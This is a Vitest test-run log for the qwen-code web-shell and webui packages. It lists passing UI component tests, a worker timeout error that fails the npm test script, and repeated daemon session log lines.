✓ useComposerCore mobile textarea backend > keeps the programmatic mount focus on desktop 635ms
✓ components/messages/TasksStatusMessage.test.tsx (10 tests) 5848ms
✓ TasksStatusMessage monitor details > opens an embedded monitor in the right-panel callback 1525ms
✓ TasksStatusMessage monitor details > keeps the existing inline detail when no panel callback is provided 448ms
✓ TasksStatusMessage nested-agent tree > leaves workflow and subagent buttons in control of their keyboard input 939ms
✓ TasksStatusMessage nested-agent tree > cancels a foreground child of a background parent on the first press 842ms
✓ TasksStatusMessage nested-agent tree > requires a second press to cancel a user-blocking agent 793ms
✓ TasksStatusMessage nested-agent tree > caps the detail progress list at the newest MAX_DISPLAYED_ACTIVITIES rows 519ms
✓ components/messages/ModelManagementSection.dom.test.tsx (14 tests) 4491ms
✓ ModelManagementSection > lists models grouped by provider 874ms
✓ ModelManagementSection > marks the current model and hides its "set current" button 748ms
✓ ModelManagementSection > selects a model via "set current" 532ms
✓ ModelManagementSection > deletes a model after confirmation, passing base id + baseUrl 512ms
✓ index.test.tsx (17 tests) 4065ms
✓ WebShellWithProviders top-level boundary > exports the readonly transcript entry 932ms
✓ WebShellWithProviders top-level boundary > does not register an unknown unlocked workspace path 561ms
✓ WebShellWithProviders top-level boundary > ignores an older registration response after the locked path changes 304ms
✓ WebShellWithProviders top-level boundary > catches a daemon-provider render crash instead of white-screening 899ms
✓ components/sidebar/SessionDetailsSubmenu.test.tsx (8 tests) 4813ms
✓ SessionDetailsSubmenu > uses the non-portal WebShell root for narrow-screen collision flipping 2275ms
✓ SessionDetailsSubmenu > copies the complete session ID through the copy menu item 576ms
✓ SessionDetailsSubmenu > clears copied feedback when Details closes or its session changes 611ms
✓ SessionDetailsSubmenu > ignores a pending copy result after Details closes and reopens 334ms
✓ hooks/useNewSessionSuggestion.test.tsx (19 tests) 2625ms
✓ useNewSessionSuggestion > does not suggest a new session for explicit new-task wording when there is almost no prior context 743ms
✓ useNewSessionSuggestion > classifies a side question after only one prior exchange 359ms
✓ useNewSessionSuggestion > lets common side-question wording reach the classifier 336ms
stderr | components/sidebar/WorkspaceSection.test.tsx > WorkspaceSection git chip > renders a clickable git chip for a trusted repo
An update to BranchPickerPopover inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to BranchPickerPopover inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
✓ components/sidebar/WorkspaceSection.test.tsx (9 tests) 8493ms
✓ WorkspaceSection label > prefers the workspace display name over the cwd basename 1214ms
✓ WorkspaceSection label > shows the complete read-only session name in a native tooltip 678ms
✓ WorkspaceSection git chip > renders a clickable git chip for a trusted repo 4581ms
✓ WorkspaceSection git chip > hides the chip for an untrusted workspace and never queries git 530ms
✓ WorkspaceSection git chip > re-fetches git status when reloadToken changes 531ms
✓ WorkspaceSection git chip > does not re-fetch git status when only the diff handler changes 421ms
✓ components/MessageItem.dom.test.tsx (9 tests) 3233ms
✓ MessageItem error isolation > renders a healthy message normally (no fallback) 1144ms
✓ MessageItem error isolation > degrades a crashing message to an inline notice while a sibling survives 996ms
✓ components/dialogs/GitLogDialog.test.tsx (14 tests) 13076ms
✓ GitLogDialog > renders the commit list with author and relative time 5005ms
✓ GitLogDialog > localizes relative time and the copy action 816ms
✓ GitLogDialog > shows the loading placeholder before the first page resolves 465ms
✓ GitLogDialog > shows the error placeholder when the list fails to load 519ms
✓ GitLogDialog > shows the unavailable placeholder when git is unavailable 1037ms
✓ GitLogDialog > shows the empty placeholder for a repo with no commits 873ms
✓ GitLogDialog > paginates: Load more fetches the next page at the current offset and appends 744ms
✓ GitLogDialog > deduplicates overlapping pages while advancing the server offset 732ms
✓ GitLogDialog > surfaces a load-more failure instead of failing silently 512ms
✓ GitLogDialog > expands a commit and loads its detail (body + file stats) 668ms
✓ GitLogDialog > shows zero-file stats when an empty commit expands 502ms
✓ GitLogDialog > shows an error when an expanded commit reports available:false 397ms
✓ GitLogDialog > shows an error when the commit-detail fetch rejects 420ms
✓ GitLogDialog > forwards gitCwd to the log list, pagination, and commit-detail SDK calls 325ms
✓ components/AtMentionPanel.test.tsx (13 tests) 5848ms
✓ AtMentionPanel > renders provider categories in a listbox 2553ms
✓ AtMentionPanel > dispatches item-search keyboard actions 564ms
✓ AtMentionPanel > guards mask icon sources 790ms
✓ hooks/useListboxKeyboard.test.tsx (16 tests) 4466ms
✓ useListboxKeyboard > moves the active index down and up within bounds 553ms
✓ useListboxKeyboard > only the active scope handles keys when two scoped hooks are mounted 3034ms
✓ components/channels/ChannelsManagerPage.test.tsx (9 tests) 12142ms
✓ ChannelsManagerPage > shows only the three enabled platforms and configured instances 1969ms
✓ ChannelsManagerPage > starts a stopped Channel from its card 850ms
✓ ChannelsManagerPage > updates whether a Channel starts with serve 515ms
✓ ChannelsManagerPage > opens the typed editor from an available platform 3672ms
✓ ChannelsManagerPage > opens an existing Channel for editing 1428ms
✓ ChannelsManagerPage > deletes a Channel with the current revision 1802ms
✓ ChannelsManagerPage > closes an editor when the selected workspace changes 1269ms
✓ ChannelsManagerPage > disables lifecycle controls without a bearer token 303ms
✓ components/QueuedPromptDisplay.test.tsx (17 tests) 3455ms
✓ QueuedPromptDisplay > renders nothing when the queue is empty 509ms
✓ QueuedPromptDisplay > lists each queued prompt 444ms
✓ QueuedPromptDisplay > shows server queue status without an insert action 418ms
✓ QueuedPromptDisplay > keeps the spinner while a prompt is still submitting 479ms
✓ components/artifacts/TurnOutputs.dom.test.tsx (5 tests) 3812ms
✓ TurnOutputs artifact downloads > shows Download for every available workspace artifact kind 2352ms
✓ TurnOutputs artifact downloads > downloads workspace bytes with the artifact basename 682ms
✓ TurnOutputs artifact downloads > disables repeated downloads and reports failures through the toast callback 306ms
✓ components/StreamingStatus.test.tsx (10 tests) 2898ms
✓ StreamingStatus loading phrases > shows a built-in default phrase when no resolver is provided 1078ms
✓ config/daemon.test.ts (19 tests) 1613ms
✓ components/channels/ChannelEditorDialog.test.tsx (8 tests) 15403ms
✓ ChannelEditorDialog > preserves a stored secret until Replace is explicitly selected 5811ms
✓ ChannelEditorDialog > offers Clear for an optional stored secret 1260ms
✓ ChannelEditorDialog > submits a new instance with typed fields and the current revision 2824ms
✓ ChannelEditorDialog > explains that pairing requests appear after a new Channel is saved 835ms
✓ ChannelEditorDialog > keeps the dialog open and offers a reload after a stale write 1269ms
✓ ChannelEditorDialog > keeps the dialog open when reloading the latest configuration fails 1514ms
✓ ChannelEditorDialog > shows the configured allowlist for a pairing Channel and hides it without one 953ms
✓ ChannelEditorDialog > does not show the allowlist alert when no users are configured 888ms
✓ components/dialogs/UsageDashboardTab.test.tsx (8 tests) 9309ms
✓ UsageDashboardTab > renders hero, stats, breakdown and heatmap from the dashboard 4269ms
✓ UsageDashboardTab > renders model share, skill table, and daily charts 1421ms
✓ UsageDashboardTab > renders the Today/7D/30D toggle and passes the selected range to the hook 1342ms
✓ UsageDashboardTab > labels the hero with the range the server echoed 643ms
✓ UsageDashboardTab > renders localized labels in zh-CN 1208ms
✓ components/dialogs/ReleaseSessionDialog.test.tsx (5 tests) 4587ms
✓ ReleaseSessionDialog selection > keeps the cursor and the confirmed target separate 2930ms
✓ ReleaseSessionDialog selection > moves the cursor on hover, but only Enter/click confirms the target 467ms
✓ ReleaseSessionDialog selection > clears the confirmed target and disarms release when the filter changes 632ms
✓ components/messages/tools/SubAgentPanel.test.tsx (9 tests) 3425ms
✓ SubAgentPanel sub-tool timestamps > renders completed result content through assistant markdown 1744ms
✓ SubAgentPanel sub-tool timestamps > renders each sub-tool start time, like the main transcript rows 325ms
✓ SubAgentPanel sub-tool timestamps > keeps sub-tools expandable while hiding their collapsed output summary 453ms
✓ components/messages/tools/ParallelAgentsGroup.test.tsx (11 tests) 2984ms
✓ ParallelAgentsGroup timeline rendering > keeps nested agents inspectable without a details provider 1765ms
✓ components/messages/SettingsMessage.dom.test.tsx (5 tests) 7483ms
✓ SettingsMessage user-scope editing > persists a boolean toggle to the user scope from the User tab 4818ms
✓ SettingsMessage user-scope editing > still persists to workspace scope on the default (Workspace) tab 1164ms
✓ SettingsMessage user-scope editing > forwards the active scope to onSubDialog for model sub-dialog keys 617ms
✓ SettingsMessage user-scope editing > shows a fallback UI category with a readable label when no theme setting exists 389ms
✓ SettingsMessage user-scope editing > renders the model-management block inside the Model category 433ms
✓ components/artifacts/artifactUtils.test.ts (12 tests) 1263ms
✓ artifactUtils > injects preview CSP and strips unsafe metadata 727ms
✓ components/GitBranchIndicator.test.tsx (11 tests) 3282ms
✓ GitBranchIndicator > renders a read-only branch indicator with the complete name 1709ms
✓ GitBranchIndicator > renders a clickable button that fires onOpenDiff when provided 395ms
✓ components/dialogs/DeleteSessionDialog.test.tsx (5 tests) 4956ms
✓ DeleteSessionDialog selection > keeps the keyboard cursor separate from the checked set; Enter only toggles 2913ms
✓ DeleteSessionDialog selection > does not check the current session row 519ms
✓ DeleteSessionDialog selection > clears checked rows and disarms delete when the filter changes 462ms
✓ DeleteSessionDialog selection > prunes stale checked ids after an unfiltered session refresh 550ms
✓ DeleteSessionDialog selection > deletes the checked sessions via the batch API and closes 440ms
✓ components/WorkspaceIndicator.test.tsx (6 tests) 5701ms
✓ WorkspaceIndicator > reveals the full cwd via a hover tooltip, not a native title 4199ms
✓ WorkspaceIndicator > keeps the full cwd discoverable when the name collapses in compact mode 576ms
✓ components/dialogs/GitHubPrsDialog.test.tsx (11 tests) 3712ms
✓ GitHubPrsContent > renders pull requests with review badge, checks icon, and relative time 1912ms
✓ GitHubPrsContent > opens the pull request on GitHub when a row is clicked 676ms
✓ components/WebShellTranscript.test.tsx (4 tests) 4643ms
✓ WebShellTranscript contract > converts blocks and fixes MessageList at the readonly boundary 3117ms
✓ WebShellTranscript contract > provides visual customization without enabling interactive mode 370ms
✓ WebShellTranscript contract > reconverts on language or block changes and supports an empty list 347ms
✓ WebShellTranscript contract > contains failures from the message tree in the public root boundary 754ms
✓ hooks/useOtherWorkspaceSessions.test.tsx (6 tests) 1531ms
✓ useOtherWorkspaceSessions > does not query other workspaces when disabled 529ms
✓ useOtherWorkspaceSessions > merges workspaces and keeps the ones that respond when another fails 343ms
✓ components/messages/ToolApproval.test.ts (6 tests) 2243ms
✓ ToolApproval > localizes the tool name in Chinese 832ms
✓ ToolApproval > prefers raw input description over the tool title 368ms
✓ ToolApproval > orders permission options according to the product hierarchy 712ms
✓ components/BranchPickerPopover.test.tsx (3 tests) 4160ms
✓ BranchPickerPopover actions > wires "View Changes" to onOpenDiff and closes 2605ms
✓ BranchPickerPopover actions > wires "Commit" to onOpenCommit and closes 543ms
✓ BranchPickerPopover actions > explains an invalid branch name instead of silently returning 961ms
✓ hooks/useBackgroundTasks.test.tsx (4 tests) 1278ms
✓ useBackgroundTasks > keeps polling after a transient task refresh failure 816ms
✓ hooks/useIsTouchComposer.test.tsx (9 tests) 1624ms
✓ useIsTouchComposer > returns true when the coarse-pointer query matches and touch points exist 788ms
✓ useIsTouchComposer > honors ?composer=codemirror as a force-off escape hatch on touch devices 397ms
✓ components/dialogs/ModelFallbacksDialog.dom.test.tsx (8 tests) 3566ms
✓ ModelFallbacksDialog > confirms selected base ids in click order 1947ms
✓ ModelFallbacksDialog > enforces the max selection by disabling further options 475ms
✓ components/messages/SystemMessage.test.tsx (11 tests) 2786ms
✓ SystemMessage — prompt_cancelled marker > renders the user-cancelled marker as a status region 947ms
✓ SystemMessage — background notification label > labels background task notifications and preserves display text 740ms
✓ components/sidebar/SessionDetailsSubmenu.keyboard.test.tsx (1 test) 7790ms
✓ SessionDetailsSubmenu keyboard behavior > copies through Enter and Space on the real Radix menu item 7712ms
✓ components/dialogs/ModelDialog.test.tsx (5 tests) 2794ms
✓ ModelDialog current marker > marks exactly one row current when two models share an id 1414ms
✓ ModelDialog current marker > binds aria-selected to the current model, not the roving highlight 439ms
✓ ModelDialog highlight follows the current model > stops following once the user has navigated 312ms
✓ components/dialogs/DialogShell.test.tsx (5 tests) 6220ms
✓ DialogShell > restores focus to the remaining top shell when a lower shell unmounts 4258ms
✓ DialogShell > leaves an IME Escape event unhandled 622ms
✓ DialogShell > closes once when the backdrop is clicked 505ms
✓ DialogShell > stays open when a drag starts in the panel and ends on the backdrop 415ms
✓ DialogShell > ignores backdrop clicks and Escape when not dismissible 363ms
✓ voice/use-voice-workspace-settings.test.tsx (4 tests) 976ms
✓ useVoiceWorkspaceSettings > loads only the qualified Voice descriptor 632ms
✓ components/messages/TodoView.test.tsx (4 tests) 3075ms
✓ TodoFullList detail > makes only completed tasks with detail expandable 1061ms
✓ TodoFullList detail > reveals the token and time breakdown on click 1541ms
✓ components/dialogs/RewindDialog.test.tsx (5 tests) 3853ms
✓ RewindDialog keyboard > does not confirm a target until Enter — the button stays disabled 2355ms
✓ RewindDialog keyboard > the button rewinds the snapshot confirmed via keyboard 422ms
✓ RewindDialog keyboard > shows an inline error and re-enables the button when rewind fails 476ms
✓ hooks/useSessionArtifacts.test.tsx (2 tests) 842ms
✓ useSessionArtifacts > clears stale artifacts while loading a different session 702ms
✓ components/ErrorBoundary.test.tsx (6 tests) 2222ms
✓ ErrorBoundary > renders children when nothing throws 912ms
✓ ErrorBoundary > logs the error with the configured label prefix 324ms
✓ ErrorBoundary > recovers when resetKeys change after an error 456ms
✓ components/RootErrorFallback.test.tsx (5 tests) 3312ms
✓ RootErrorFallback > renders English copy by default 1481ms
✓ RootErrorFallback > shows the raw error message only in dev, never in production 709ms
✓ RootErrorFallback > catches an App-level render crash instead of white-screening 486ms
✓ RootErrorFallback > recovers when the user clicks "Try again" after the cause is gone 403ms
✓ components/messages/Markdown.coldHighlight.test.ts (2 tests) 1801ms
✓ CodeBlock cold-highlight path > drops the previous block's highlight without loading a grammar while streaming 1361ms
✓ CodeBlock cold-highlight path > logs and renders plain text when the grammar load rejects 389ms
✓ components/dialogs/SessionRow.test.tsx (5 tests) 2826ms
✓ SessionRow > renders an option with the title and metadata 1997ms
✓ SessionRow > defaults aria-selected to `current` (not the roving highlight), explicit value wins 386ms
✓ hooks/useFilterInput.test.tsx (3 tests) 1240ms
✓ useFilterInput > commits the filter value on plain (non-composition) input 845ms
✓ components/messages/PlanMessage.test.tsx (6 tests) 2075ms
✓ PlanMessage > collapses to the current step with a progress count 623ms
✓ PlanMessage > expands to the full list on click 1044ms
✓ hooks/useScopedSessions.test.tsx (2 tests) 1745ms
✓ useScopedSessions > loads and mutates sessions through the requested workspace 1360ms
✓ useScopedSessions > ignores an older workspace response after the cwd changes 336ms
✓ components/dialogs/ResumeDialog.test.tsx (3 tests) 2860ms
✓ ResumeDialog > opens with no highlight; Enter does not switch sessions 2042ms
✓ ResumeDialog > resumes the highlighted session on Enter after arrow navigation 430ms
✓ ResumeDialog > resets the highlight on filter edits and confirms within the filtered list 338ms
✓ components/artifacts/SubagentDetail.integration.test.tsx (1 test) 1331ms
✓ opens subagent and fork transcript outputs in source-scoped panel tabs 1296ms
✓ components/dialogs/ApprovalModeDialog.test.tsx (5 tests) 2390ms
✓ ApprovalModeDialog > renames only the plan entry when Session Workflow is enabled 1280ms
✓ ApprovalModeDialog > opens with the highlight on the current mode and confirms on Enter 357ms
✓ utils/splitUrl.test.ts (16 tests) 801ms
✓ components/Editor.keymap.test.ts (5 tests) 2583ms
✓ Editor newline keymap (runtime) > Enter submits without inserting a newline 1147ms
✓ Editor newline keymap (runtime) > Shift+Enter inserts a newline and does not submit 856ms
✓ components/StatusBar.test.tsx (4 tests) 1713ms
✓ StatusBar goal pill > names the active goal in its accessible label 860ms
✓ StatusBar goal pill > opens the Goals page when activated 498ms
✓ components/WorkspaceSelector.test.tsx (2 tests) 7661ms
✓ WorkspaceSelector > hides for a single workspace without creation capabilities 882ms
✓ WorkspaceSelector > gates creation actions and disables untrusted workspaces 6716ms
✓ components/ChatContextHeader.test.tsx (5 tests) 2504ms
✓ ChatContextHeader > renders custom content inside the persistent action shell 1143ms
✓ ChatContextHeader > hides the right-panel action until content exists 556ms
✓ ChatContextHeader > toggles each available panel independently 418ms
✓ hooks/useAnimationFrameTranscriptBlocks.test.tsx (2 tests) 744ms
✓ useAnimationFrameTranscriptBlocks > coalesces transcript notifications into one render per frame 567ms
✓ components/MessageTimestamp.test.tsx (5 tests) 1054ms
✓ MessageTimestamp > reveals the wall-clock time as a hover tooltip when a timestamp is set 847ms
✓ components/panels/TodoPanel.test.tsx (3 tests) 1954ms
✓ TodoPanel bottom status items > opens plan execution from the progress control 1078ms
✓ TodoPanel bottom status items > renders status items beside todo progress with a separator 548ms
✓ hooks/useIsLargeScreen.test.tsx (4 tests) 1280ms
✓ useIsLargeScreen > seeds synchronously from the initial media match 904ms
✓ components/dialogs/SvgLineChart.test.tsx (4 tests) 2032ms
✓ SvgLineChart > renders a polyline path, current value, peak, and end dot for a populated series 1092ms
✓ SvgLineChart > renders no line and no peak for an empty series 470ms
✓ components/dialogs/TokenHeatmap.test.tsx (3 tests) 6239ms
✓ TokenHeatmap > renders a ~12-month grid of day cells 3596ms
✓ TokenHeatmap > shows a custom tooltip (ISO date + tokens + cache) on hover 1914ms
✓ TokenHeatmap > localizes the month labels to the app language (zh-CN) 670ms
✓ components/ui/react18-ref-compat.test.tsx (17 tests) 1688ms
✓ React 18 ref compatibility > forwards a Button ref to its DOM element 850ms
✓ React 18 ref compatibility > forwards a Checkbox ref to its DOM element 594ms
✓ components/dialogs/ThemeDialog.test.tsx (1 test) 1365ms
✓ ThemeDialog aria-activedescendant coupling > points aria-activedescendant at an existing option, tracking arrow nav 1298ms
✓ components/dialogs/ToolsDialog.test.tsx (1 test) 1760ms
✓ ToolsDialog a11y wiring > exposes a listbox with option ids, aria-activedescendant and aria-expanded 1698ms
✓ shadowDom.test.ts (14 tests) 723ms
✓ installWebShellShadowStyles > copies package CSS before consumer CSS and cleans up both 517ms
✓ components/ui/management-notice.test.tsx (4 tests) 2080ms
✓ ManagementNotice > auto-dismisses success notices 1309ms
✓ ManagementNotice > keeps errors visible and allows manual dismissal 454ms
✓ components/sidebar/collapsedSessionSections.test.ts (2 tests) 270ms
✓ hooks/usePrefersReducedMotion.test.tsx (1 test) 973ms
✓ usePrefersReducedMotion > updates when the system preference changes 924ms
✓ components/sidebar/sessionDetailsCollisionBoundary.test.ts (2 tests) 387ms
✓ resolveSessionDetailsCollisionBoundary > resolves the closest WebShell root 310ms
✓ test/setup.test.ts (1 test) 228ms
✓ adapters/transcriptToMessages.test.ts (111 tests) 1682ms
✓ components/MessageList.test.ts (95 tests) 1717ms
✓ utils/todos.test.ts (77 tests) 1076ms
✓ completions/slashCompletion.test.ts (23 tests) 1059ms
✓ slashCompletionSource > keeps custom commands first when filtering slash commands 344ms
✓ components/artifacts/turnOutputSelectors.test.ts (20 tests) 602ms
✓ utils/composerTag.test.ts (28 tests) 420ms
✓ utils/sessionPreparation.test.ts (16 tests) 1044ms
✓ components/messages/toolFormatting.test.ts (36 tests) 636ms
✓ components/channels/channel-editor-state.test.ts (14 tests) 428ms
✓ voice/voice-workspace-target.test.ts (23 tests) 605ms
✓ components/dialogs/scheduledTasksSchedule.test.ts (17 tests) 1056ms
✓ describeLastRun > reads as a real run once lastFiredAt advances past the creation minute 605ms
✓ midTurnDedup.test.ts (16 tests) 426ms
✓ utils/copyCommand.test.ts (13 tests) 525ms
✓ build-artifact.test.ts (10 tests) 7784ms
✓ build artifact — package boundary > scopes every component CSS rule to a WebShell root 1847ms
✓ build artifact — package boundary > applies Tailwind theme variables to WebShell roots 2054ms
✓ build artifact — package boundary > keeps scrollbar styles available inside component and portal roots 1174ms
✓ build artifact — package boundary > keeps component resets and utilities above plain host selectors 979ms
✓ build artifact — package boundary > prefixes global CSS registrations and animations 894ms
✓ components/messages/agentForest.test.ts (19 tests) 460ms
✓ adapters/transcriptAdapter.test.ts (7 tests) 281ms
✓ constants/localCommands.test.ts (10 tests) 249ms
✓ components/sidebar/session-action-visibility.test.ts (7 tests) 300ms
✓ utils/ansi.test.ts (9 tests) 335ms
✓ utils/modelEncoding.test.ts (24 tests) 162ms
✓ utils/goalCondition.test.ts (19 tests) 193ms
✓ components/toolbarDropdown.test.ts (7 tests) 175ms
✓ utils/composerInputState.test.ts (7 tests) 125ms
✓ utils/workspace.test.ts (11 tests) 260ms
✓ components/artifacts/TurnOutputs.test.ts (14 tests) 189ms
✓ components/artifacts/codeReviewContract.test.ts (2 tests) 201ms
✓ hooks/useComposerCore.test.ts (8 tests) 197ms
✓ components/messages/codeHighlighter.retry.test.ts (4 tests) 249ms
✓ utils/sessionPath.test.ts (18 tests) 186ms
✓ components/agents/agents-manager-logic.test.ts (7 tests) 155ms
✓ components/messages/codeHighlighter.test.ts (6 tests) 4234ms
✓ codeHighlighter > highlightToHtmlSync is null until the language is warm, then returns HTML 2578ms
✓ codeHighlighter > does not persist streaming intermediates when persist=false 853ms
✓ codeHighlighter > dedupes concurrent loads of the same language without throwing 574ms
✓ components/messages/SettingsMessage.test.ts (10 tests) 102ms
✓ utils/workspaceColor.test.ts (5 tests) 159ms
✓ utils/monitorTasks.test.ts (4 tests) 123ms
✓ utils/escapeIntent.test.ts (9 tests) 164ms
✓ utils/slashSectionPlan.test.ts (6 tests) 198ms
✓ adapters/toolClassification.test.ts (8 tests) 125ms
✓ components/agents/agent-tool-options.test.ts (3 tests) 145ms
✓ components/artifacts/SubagentDetail.test.tsx (4 tests) 191ms
✓ index-html.test.ts (2 tests) 258ms
✓ utils/localCommandQueue.test.ts (5 tests) 216ms
✓ components/messages/toolFormatting.drift.test.ts (2 tests) 211ms
✓ components/skills/skills-manager-logic.test.ts (3 tests) 165ms
✓ hooks/useQueuedPrompts.test.ts (6 tests) 127ms
✓ components/extensions/extensions-manager-logic.test.ts (3 tests) 175ms
✓ utils/modelSwitchMessages.test.ts (3 tests) 177ms
✓ components/channels/channel-platform.test.ts (2 tests) 183ms
✓ utils/timeAgo.test.ts (18 tests) 859ms
✓ timeAgo > 0 seconds ago → "en" 661ms
✓ components/GitModePopover.test.tsx (16 tests) 202ms
✓ components/sidebar/sidebarToggleShortcut.test.ts (5 tests) 164ms
✓ utils/composerTasks.test.ts (1 test) 106ms
✓ utils/askUserPermission.test.ts (3 tests) 131ms
✓ utils/queueDrain.test.ts (8 tests) 161ms
(node:99803) ExperimentalWarning: WASI is an experimental feature and might change at any time
(Use `node --trace-warnings ...` to show where the warning was created)
✓ vite-config.test.ts (1 test) 131ms
✓ extensions/inputHighlight.test.ts (1 test) 356ms
✓ inputHighlight > scans visible lines instead of the entire composer document 302ms
✓ utils/sessionErrors.test.ts (1 test) 122ms
✓ utils/cssUrlVar.test.ts (2 tests) 182ms
⎯⎯⎯⎯⎯⎯ Unhandled Errors ⎯⎯⎯⎯⎯⎯
Vitest caught 1 unhandled error during the test run.
This might cause false positive tests. Resolve unhandled errors to make sure your tests are not affected.
⎯⎯⎯⎯⎯⎯ Unhandled Error ⎯⎯⎯⎯⎯⎯⎯
Error: [vitest-worker]: Timeout calling "onTaskUpdate"
❯ Object.onTimeoutError ../../../node_modules/vitest/dist/chunks/rpc.-pEldfrD.js:53:10
❯ Timeout._onTimeout ../../../node_modules/vitest/dist/chunks/index.B521nVV-.js:59:62
❯ listOnTimeout ../node:internal/timers:685:17
❯ processTimers ../node:internal/timers:618:7
⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯
Test Files 146 passed (166)
Tests 2399 passed (2399)
Errors 1 error
Start at 13:54:12
Duration 4450.33s (transform 170.93s, setup 35.33s, collect 762.54s, tests 1155.36s, environment 859.37s, prepare 261.83s)
JUNIT report written to /build/qwen-code/src/qwen-code/packages/web-shell/junit.xml
npm error Lifecycle script `test` failed with error:
npm error code 1
npm error path /build/qwen-code/src/qwen-code/packages/web-shell
npm error workspace @qwen-code/web-shell@0.21.5
npm error location /build/qwen-code/src/qwen-code/packages/web-shell
npm error command failed
npm error command sh -c vitest run --config vitest.config.ts --testTimeout=30000 --no-file-parallelism '--exclude=**/{qwenConnectionHandler,useAtCompletion,pid-descendants,serve/acp-http/transport,i18n/index,ui/auth/AuthDialog,ui/utils/clipboardUtils,services/FileCommandLoader,services/FileCommandLoader-extension,lsp/LspConfigLoader,utils/pathReader}.test.*'
npm notice run @qwen-code/webui@0.21.5 test
RUN v3.2.4 /build/qwen-code/src/qwen-code/packages/webui
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps capabilities handshake failures out of the transcript
[DaemonSessionProvider] retriable SSE error, preserving session for delta resume (sessionId=undefined)
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > populates skill slash commands during deferred connect (before first prompt)
[DaemonSessionProvider] detach failed: [TypeError: fetch failed] {
[cause]: Error: connect ECONNREFUSED 127.0.0.1:4170
[90m at TCPConnectWrap.afterConnect [as oncomplete] (node:net:2021:16)[39m {
errno: [33m-111[39m,
code: [32m'ECONNREFUSED'[39m,
syscall: [32m'connect'[39m,
address: [32m'127.0.0.1'[39m,
port: [33m4170[39m
}
}
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > can send immediately after creating a session from the empty state
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > adds daemon goal status metadata to the transcript
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > routes mid_turn_message_injected frames to the sidechannel and transcript
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prevents double submit while a prompt is running
[DaemonSessionProvider] SSE stream ended
